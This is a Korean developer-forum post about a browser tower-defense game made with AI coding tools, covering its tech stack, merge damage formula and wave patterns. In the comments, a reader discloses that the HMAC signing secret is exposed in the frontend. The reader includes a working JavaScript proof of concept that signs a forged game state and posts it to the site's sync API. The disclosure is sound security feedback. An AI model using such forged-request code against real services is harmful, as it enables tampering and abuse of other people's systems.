5P by cybrshin 1일전 | ★ favorite | 댓글 2개

원래는 claude code와 cursor를 쓰다가 작년 퇴사 후 11월부터 antigravity로 갈아타고나서 이것저것 토이 웹서비스 프로젝트를 하루마다 만들고 있었는데, 갑자기 3일전(1/2)에 타워디펜스 게임을 만들어 보고 싶어졌습니다.
원래 웹frontend개발자라 앱으로 감싸기는 귀찮고, 그냥 데스크탑 브라우저 환경에서만 동작하게 하고, 캔버스 기반 동작 및 그림파일 작업은 너무 시간이 오래걸릴것 같아서 이모지를 최대한 활용하자는 아이디어로 시작했습니다.

하루만에 끝내려고 했는데, 만들다보니 재미있어서 이것저것 수정/추가하다보니 3일이나 걸렸네요. ㅠㅜ

기본적인 기술스택은 다음과 같습니다.

  • Frontend: Next.js 14+ (App Router), TypeScript, HTML5 Canvas
  • Backend: FastAPI, Python 3.9+, Pydantic
  • Database: Supabase (PostgreSQL)
  • Deployment: Vercel

이런저런 수정을 거쳐 최종적으로 게임로직은 다음과 같이 결정되었습니다.

1. 타워 공격력

타워는 머지(Merge)를 통해 레벨이 오를 때마다 사거리(Range)가 10씩 증가하지만, 공격력 효율은 1.8배로 조정됩니다 (밸런스).

  • 공식: Damage = floor(BaseDamage * (1.8 ^ (Level - 1)))
    • Lv 1: 10
    • Lv 2: 18
    • Lv 3: 32
    • Lv 4: 57

2. 적 등장 패턴 (Wave Logic)

단조로움을 없애기 위해 다양한 웨이브 패턴이 적용됩니다.

  • 일반 웨이브 (Horde Mix): 현재 티어 적(70%)과 이전 티어 적(30%)이 섞여서 등장합니다.
  • 보스 웨이브 (Every 6th): 보스는 시대의 최강 적 1마리가 등장하며, 주변에 쫄병들이 호위합니다.
    • 보스 웨이브의 적 수: Wave / 6 (웨이브 6에 1마리, 웨이브 12에 2마리...)

4. 골드 보상 (Active)

적을 처치하거나 웨이브를 클리어하면 골드를 획득합니다.

ps. 모바일 환경은 크게 고려하지 않았습니다. 터치이벤트를 추가했으나 폴드나 패드에서는 잘 되지만 작은 화면에서의 고려는 그다지 안했습니다~

ps. 개선점 및 버그는 댓글로 알려주시면 시간날때마다 반영하겠습니다.

https://tower.dsp.ai.kr/

안녕하세요 재밌게 플레이했습니다, 보안관련 피드백 드립니다.

  • 현재 HMAC 시크릿(서명용 키)이 프론트엔드에 노출되어 있습니다
    • 프론트에서 직접적으로 gold, wave, lives, towers 를 변경할수있습니다

vercel 과 supabase 요금제문제가 있을수있어서 알려드립니다

const state = {  
  towers: [],    
  gold: 9999,  
  wave: 1,       
  lives: 1       
};  
  
const state_raw = JSON.stringify(state);  
const user_id = "11111";  
const secret = "11111";  
  
(async () => {  
  const key = await crypto.subtle.importKey(  
    "raw",  
    new TextEncoder().encode(secret),  
    { name: "HMAC", hash: "SHA-256" },  
    false,  
    ["sign"]  
  );  
  const signatureBuffer = await crypto.subtle.sign(  
    "HMAC",  
    key,  
    new TextEncoder().encode(state_raw)  
  );  
  const signature = Array.from(new Uint8Array(signatureBuffer))  
    .map(b => b.toString(16).padStart(2, "0")).join("");  
    
  fetch("https://tower.dsp.ai.kr/api/sync";, {  
    method: "POST",  
    headers: {  
      "Content-Type": "application/json",  
      "Accept": "*/*"  
    },  
    body: JSON.stringify({  
      user_id,  
      state_raw,  
      signature  
    })  
  })  
  .then(res => res.text())  
  .then(console.log)  
  .catch(console.error);  
})();  
  

앗, 감사합니다~